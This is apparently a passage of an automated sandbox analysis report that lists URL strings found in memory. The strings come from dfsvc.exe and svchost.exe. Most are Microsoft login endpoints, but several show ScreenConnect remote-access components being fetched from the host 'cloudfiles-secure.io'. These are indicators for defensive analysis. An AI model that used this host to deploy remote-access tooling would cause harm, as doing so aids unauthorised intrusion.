Source: dfsvc.exe, 00000001.00000002.2793865046.0000022721C1F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsBackstageShell.exe.config%
Source: dfsvc.exe, 00000001.00000002.2784738148.00000227082E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsBackstageShell.exe.configPj
Source: dfsvc.exe, 00000001.00000002.2784738148.000002270838D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsClie
Source: dfsvc.exe, 00000001.00000002.2784738148.000002270838D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsClient.exe
Source: dfsvc.exe, 00000001.00000002.2794699617.0000022724041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsClient.exe.config
Source: dfsvc.exe, 00000001.00000002.2784738148.00000227082E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsFileMana8
Source: dfsvc.exe, 00000001.00000002.2784738148.00000227082E0000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707EC3000.00000004.00000800.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2794699617.0000022724041000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsFileManager.exe
Source: dfsvc.exe, 00000001.00000002.2783751252.0000022705FBF000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2791465766.00000227204B9000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000001.00000002.2784738148.0000022707EC3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScreenConnect.WindowsFileManager.exe.config
Source: dfsvc.exe, 00000001.00000002.2793816963.0000022721BF5000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cloudfiles-secure.io/Bin/ScrtU
Source: ScreenConnect.Core.dll0.1.dr String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
Source: edb.log.6.dr String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000006.00000003.2039355807.000001E584D60000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr, edb.log.6.dr String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000007.00000002.3270802647.0000022264A27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.l
Source: svchost.exe, 00000007.00000002.3270802647.0000022264A27000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.c
Source: svchost.exe, 00000007.00000002.3272552281.0000022265A32000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com
Source: svchost.exe, 00000007.00000003.2088814426.0000022265A36000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/
Source: svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000007.00000003.2056652735.000002226536B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 00000007.00000003.2056652735.000002226536B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 00000007.00000003.2056321735.000002226532C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056652735.000002226536B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ManageLoginKeys.srff
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ManageLoginKeyscfg:MaLogi:GetAp
Source: svchost.exe, 00000007.00000003.2088786160.0000022265A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3272475845.0000022265A06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3272112459.0000022265337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3273163204.0000022265AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2210609903.0000022265A03000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3272697084.0000022265A69000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 00000007.00000003.2181060174.0000022265AA4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/RST2.srf/ZwpMNR
Source: svchost.exe, 00000007.00000002.3272475845.0000022265A06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2210609903.0000022265A03000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/RST2.srfd
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/didtou.srfice
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/getrealminfo.srf
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3272112459.0000022265337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/getuserrealm.srf
Source: svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsec
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056652735.000002226536B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000007.00000003.2056652735.000002226536B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srf
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceDisassociate.srfuerP
Source: svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000007.00000003.2056652735.000002226536B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/DeviceUpdate.srfD
Source: svchost.exe, 00000007.00000003.2056652735.000002226536B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270802647.0000022264A27000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srf
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/GetAppData.srfrfrf6085fid=cpsrf
Source: svchost.exe, 00000007.00000003.2056652735.000002226536B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/GetUserKeyData.srf
Source: svchost.exe, 00000007.00000003.2056321735.000002226532C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056652735.000002226536B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf
Source: svchost.exe, 00000007.00000002.3272552281.0000022265A61000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineClientAuth.srf?stsft=-Do0H57YWgZ7jJjd08iJ
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80600
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80601
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80603
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineConnect.srf?id=80604
Source: svchost.exe, 00000007.00000003.2056652735.000002226536B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srf
Source: svchost.exe, 00000007.00000003.2056321735.000002226532C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfm
Source: svchost.exe, 00000007.00000002.3272552281.0000022265A32000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineDesktop.srfom
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80502
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80600
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80601
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80603
Source: svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80604
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270802647.0000022264A27000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80605
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80606
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80607
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056592993.0000022265357000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlineLogin.srf?id=80608
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056383195.000002226535A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056321735.000002226532C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 00000007.00000003.2056321735.0000022265329000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056402892.0000022265352000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056756954.0000022265356000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 00000007.00000002.3273016707.0000022265ABF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3271223902.0000022264AB2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf3
Source: svchost.exe, 00000007.00000003.2088814426.0000022265A36000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 00000007.00000003.2088814426.0000022265A36000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srfet
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3272112459.0000022265337000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 00000007.00000002.3272697084.0000022265A69000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 00000007.00000002.3272697084.0000022265A69000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com:443/RST2.srfo
Source: svchost.exe, 00000007.00000002.3272976064.0000022265AA4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.comanc
Source: svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3270925562.0000022264A5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srfU
Source: svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srfU
Source: svchost.exe, 00000007.00000002.3270885495.0000022264A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056634730.0000022265363000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056612582.0000022265340000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2056573432.000002226533B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
